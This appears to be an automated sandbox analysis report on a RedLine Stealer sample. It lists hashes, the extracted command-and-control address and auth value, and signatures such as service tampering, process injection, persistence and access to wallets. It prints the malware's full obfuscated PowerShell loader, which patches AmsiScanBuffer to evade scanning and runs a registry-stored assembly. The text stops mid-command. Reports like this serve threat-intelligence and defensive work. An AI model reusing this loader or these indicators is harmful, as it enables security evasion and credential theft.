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Analysis
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max time kernel
112s -
max time network
168s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
06/01/2023, 19:16
Static task
static1
Behavioral task
behavioral1
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Resource
win10v2004-20221111-en
General
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Target
8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
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Size
197KB
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MD5
78e69dd4d4eb058e9a2de5c4082c3133
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SHA1
8aae493caafa6e42a5a7afe431aeac120ce4c152
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SHA256
d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
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SHA512
42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
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SSDEEP
6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4008-182-0x00000000003E0000-0x0000000000400000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 960 created 1048 960 SmartDefRun.exe 52 PID 960 created 1048 960 SmartDefRun.exe 52 PID 960 created 1048 960 SmartDefRun.exe 52 PID 960 created 1048 960 SmartDefRun.exe 52 PID 3412 created 608 3412 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 27 4744 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1668 C4Loader.exe 1832 new2.exe 2888 SysApp.exe 960 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4044 set thread context of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 1832 set thread context of 4008 1832 new2.exe 94 PID 960 set thread context of 1540 960 SmartDefRun.exe 111 PID 3412 set thread context of 4696 3412 powershell.EXE 118 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2468 sc.exe 4784 sc.exe 4636 sc.exe 2672 sc.exe 4252 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4700 4044 WerFault.exe 78 4276 1832 WerFault.exe 87 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4328 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 56 IoCs
pid Process 4744 powershell.exe 4744 powershell.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 2888 SysApp.exe 960 SmartDefRun.exe 960 SmartDefRun.exe 3740 powershell.exe 3740 powershell.exe 960 SmartDefRun.exe 960 SmartDefRun.exe 960 SmartDefRun.exe 960 SmartDefRun.exe 4644 powershell.exe 4644 powershell.exe 960 SmartDefRun.exe 960 SmartDefRun.exe 3412 powershell.EXE 1408 powershell.EXE 4008 vbc.exe 3412 powershell.EXE 1408 powershell.EXE 3412 powershell.EXE 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe 4696 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4744 powershell.exe Token: SeDebugPrivilege 3740 powershell.exe Token: SeDebugPrivilege 4644 powershell.exe Token: SeIncreaseQuotaPrivilege 4644 powershell.exe Token: SeSecurityPrivilege 4644 powershell.exe Token: SeTakeOwnershipPrivilege 4644 powershell.exe Token: SeLoadDriverPrivilege 4644 powershell.exe Token: SeSystemProfilePrivilege 4644 powershell.exe Token: SeSystemtimePrivilege 4644 powershell.exe Token: SeProfSingleProcessPrivilege 4644 powershell.exe Token: SeIncBasePriorityPrivilege 4644 powershell.exe Token: SeCreatePagefilePrivilege 4644 powershell.exe Token: SeBackupPrivilege 4644 powershell.exe Token: SeRestorePrivilege 4644 powershell.exe Token: SeShutdownPrivilege 4644 powershell.exe Token: SeDebugPrivilege 4644 powershell.exe Token: SeSystemEnvironmentPrivilege 4644 powershell.exe Token: SeRemoteShutdownPrivilege 4644 powershell.exe Token: SeUndockPrivilege 4644 powershell.exe Token: SeManageVolumePrivilege 4644 powershell.exe Token: 33 4644 powershell.exe Token: 34 4644 powershell.exe Token: 35 4644 powershell.exe Token: 36 4644 powershell.exe Token: SeIncreaseQuotaPrivilege 4644 powershell.exe Token: SeSecurityPrivilege 4644 powershell.exe Token: SeTakeOwnershipPrivilege 4644 powershell.exe Token: SeLoadDriverPrivilege 4644 powershell.exe Token: SeSystemProfilePrivilege 4644 powershell.exe Token: SeSystemtimePrivilege 4644 powershell.exe Token: SeProfSingleProcessPrivilege 4644 powershell.exe Token: SeIncBasePriorityPrivilege 4644 powershell.exe Token: SeCreatePagefilePrivilege 4644 powershell.exe Token: SeBackupPrivilege 4644 powershell.exe Token: SeRestorePrivilege 4644 powershell.exe Token: SeShutdownPrivilege 4644 powershell.exe Token: SeDebugPrivilege 4644 powershell.exe Token: SeSystemEnvironmentPrivilege 4644 powershell.exe Token: SeRemoteShutdownPrivilege 4644 powershell.exe Token: SeUndockPrivilege 4644 powershell.exe Token: SeManageVolumePrivilege 4644 powershell.exe Token: 33 4644 powershell.exe Token: 34 4644 powershell.exe Token: 35 4644 powershell.exe Token: 36 4644 powershell.exe Token: SeIncreaseQuotaPrivilege 4644 powershell.exe Token: SeSecurityPrivilege 4644 powershell.exe Token: SeTakeOwnershipPrivilege 4644 powershell.exe Token: SeLoadDriverPrivilege 4644 powershell.exe Token: SeSystemProfilePrivilege 4644 powershell.exe Token: SeSystemtimePrivilege 4644 powershell.exe Token: SeProfSingleProcessPrivilege 4644 powershell.exe Token: SeIncBasePriorityPrivilege 4644 powershell.exe Token: SeCreatePagefilePrivilege 4644 powershell.exe Token: SeBackupPrivilege 4644 powershell.exe Token: SeRestorePrivilege 4644 powershell.exe Token: SeShutdownPrivilege 4644 powershell.exe Token: SeDebugPrivilege 4644 powershell.exe Token: SeSystemEnvironmentPrivilege 4644 powershell.exe Token: SeRemoteShutdownPrivilege 4644 powershell.exe Token: SeUndockPrivilege 4644 powershell.exe Token: SeManageVolumePrivilege 4644 powershell.exe Token: 33 4644 powershell.exe Token: 34 4644 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4044 wrote to memory of 4576 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 80 PID 4044 wrote to memory of 4576 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 80 PID 4044 wrote to memory of 4576 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 80 PID 4044 wrote to memory of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4044 wrote to memory of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4044 wrote to memory of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4044 wrote to memory of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 4044 wrote to memory of 1072 4044 8aae493caafa6e42a5a7afe431aeac120ce4c152.exe 81 PID 1072 wrote to memory of 4744 1072 vbc.exe 84 PID 1072 wrote to memory of 4744 1072 vbc.exe 84 PID 1072 wrote to memory of 4744 1072 vbc.exe 84 PID 4744 wrote to memory of 1668 4744 powershell.exe 86 PID 4744 wrote to memory of 1668 4744 powershell.exe 86 PID 4744 wrote to memory of 1668 4744 powershell.exe 86 PID 4744 wrote to memory of 1832 4744 powershell.exe 87 PID 4744 wrote to memory of 1832 4744 powershell.exe 87 PID 4744 wrote to memory of 1832 4744 powershell.exe 87 PID 4744 wrote to memory of 2888 4744 powershell.exe 89 PID 4744 wrote to memory of 2888 4744 powershell.exe 89 PID 4744 wrote to memory of 2888 4744 powershell.exe 89 PID 4744 wrote to memory of 960 4744 powershell.exe 88 PID 4744 wrote to memory of 960 4744 powershell.exe 88 PID 1832 wrote to memory of 4008 1832 new2.exe 94 PID 1832 wrote to memory of 4008 1832 new2.exe 94 PID 1832 wrote to memory of 4008 1832 new2.exe 94 PID 1832 wrote to memory of 4008 1832 new2.exe 94 PID 1832 wrote to memory of 4008 1832 new2.exe 94 PID 1132 wrote to memory of 2468 1132 cmd.exe 101 PID 1132 wrote to memory of 2468 1132 cmd.exe 101 PID 1132 wrote to memory of 4784 1132 cmd.exe 102 PID 1132 wrote to memory of 4784 1132 cmd.exe 102 PID 1132 wrote to memory of 4636 1132 cmd.exe 103 PID 1132 wrote to memory of 4636 1132 cmd.exe 103 PID 1132 wrote to memory of 2672 1132 cmd.exe 104 PID 1132 wrote to memory of 2672 1132 cmd.exe 104 PID 1132 wrote to memory of 4252 1132 cmd.exe 105 PID 1132 wrote to memory of 4252 1132 cmd.exe 105 PID 1132 wrote to memory of 1316 1132 cmd.exe 106 PID 1132 wrote to memory of 1316 1132 cmd.exe 106 PID 1132 wrote to memory of 1700 1132 cmd.exe 107 PID 1132 wrote to memory of 1700 1132 cmd.exe 107 PID 1132 wrote to memory of 800 1132 cmd.exe 108 PID 1132 wrote to memory of 800 1132 cmd.exe 108 PID 1132 wrote to memory of 448 1132 cmd.exe 109 PID 1132 wrote to memory of 448 1132 cmd.exe 109 PID 1132 wrote to memory of 3312 1132 cmd.exe 110 PID 1132 wrote to memory of 3312 1132 cmd.exe 110 PID 960 wrote to memory of 1540 960 SmartDefRun.exe 111 PID 2888 wrote to memory of 4328 2888 SysApp.exe 116 PID 2888 wrote to memory of 4328 2888 SysApp.exe 116 PID 2888 wrote to memory of 4328 2888 SysApp.exe 116 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 3412 wrote to memory of 4696 3412 powershell.EXE 118 PID 4696 wrote to memory of 608 4696 dllhost.exe 3 PID 4696 wrote to memory of 664 4696 dllhost.exe 1 PID 4696 wrote to memory of 948 4696 dllhost.exe 10 PID 4696 wrote to memory of 1020 4696 dllhost.exe 11
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:608
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f47cf4e4-2c8f-46e1-a670-da897520aab7}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:680
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2896
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:vrurOEGTdYPI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vJAZQPAaqTIdKA,[Parameter(Position=1)][Type]$OGjBxasLHi)$DfnldqgELkb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+'l'+''+[Char](101)+''+[Char](99)+'t'+'e'+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+'u'+[Char](108)+'e',$False).DefineType('My'+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'ga'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+'la'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+',S'+[Char](101)+'a'+'l'+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+'l'+'a'+[Char](115)+'s'+','+'Au'+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$DfnldqgELkb.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'pec'+'i'+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+'e'+','+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$vJAZQPAaqTIdKA).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'M'+'a'+'n'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$DfnldqgELkb.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'','P'+[Char](117)+'bl'+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+'S'+''+'i'+'g'+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$OGjBxasLHi,$vJAZQPAaqTIdKA).SetImplementationFlags('Ru'+'n'+'ti'+[Char](109)+'e'+','+''+[Char](77)+''+'a'+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $DfnldqgELkb.CreateType();}$DpgtNFkvsnkVv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+'d'+'l'+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+'r'+'os'+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+''+'2'+''+[Char](46)+'U'+[Char](110)+'s'+[Char](97)+''+'f'+'e'+[Char](68)+'p'+[Char](103)+''+[Char](116)+''+[Char](78)+''+[Char](70)+''+[Char](107)+''+[Char](118)+''+[Char](115)+''+[Char](110)+''+[Char](107)+''+[Char](86)+'v');$mimmHzEwxQzbGN=$DpgtNFkvsnkVv.GetMethod(''+[Char](109)+''+[Char](105)+''+[Char](109)+''+[Char](109)+''+'H'+''+[Char](122)+''+[Char](69)+''+'w'+''+[Char](120)+''+'Q'+''+[Char](122)+'b'+[Char](71)+'N',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+'c'+''+','+''+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gYNtrSebdLCxtcKQigz=vrurOEGTdYPI @([String])([IntPtr]);$VMfNhfQDfJzucMARdyDNyR=vrurOEGTdYPI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rfvGhNkcUfV=$DpgtNFkvsnkVv.GetMethod(''+'G'+''+'e'+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$mqYHOKlFmSdLxS=$mimmHzEwxQzbGN.Invoke($Null,@([Object]$rfvGhNkcUfV,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'Lib'+'r'+''+[Char](97)+'r'+'y'+''+[Char](65)+'')));$uDOQGSZkCGCklxiQs=$mimmHzEwxQzbGN.Invoke($Null,@([Object]$rfvGhNkcUfV,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pr'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$DzTBQOH=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mqYHOKlFmSdLxS,$gYNtrSebdLCxtcKQigz).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+'dl'+[Char](108)+'');$GFVrvgJaaaOfyHMou=$mimmHzEwxQzbGN.Invoke($Null,@([Object]$DzTBQOH,[Object](''+[Char](65)+''+'m'+'siSc'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+'ff'+[Char](101)+''+[Char](114)+'')));$UaYCTuxQYj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uDOQGSZkCGCklxiQs,$VMfNhfQDfJzucMARdyDNyR).Invoke($GFVrvgJaaaOfyHMou,[uint32]8,4,[ref]$UaYCTuxQYj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$GFVrvgJaaaOfyHMou,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uDOQGSZkCGCklxiQs,$VMfNhfQDfJzucMARdyDNyR).Invoke($GFVrvgJaaaOfyHMou,[uint32]8,0x20,[ref]$UaYCTuxQYj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'TW'+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+'a'+'l'+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1408
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ucPCHWcGTnDB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uPaCeZvEoiAtqZ,[Parameter(Position=1)][Type]$dNEmBNGfiv)$pMZuYAHivlj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 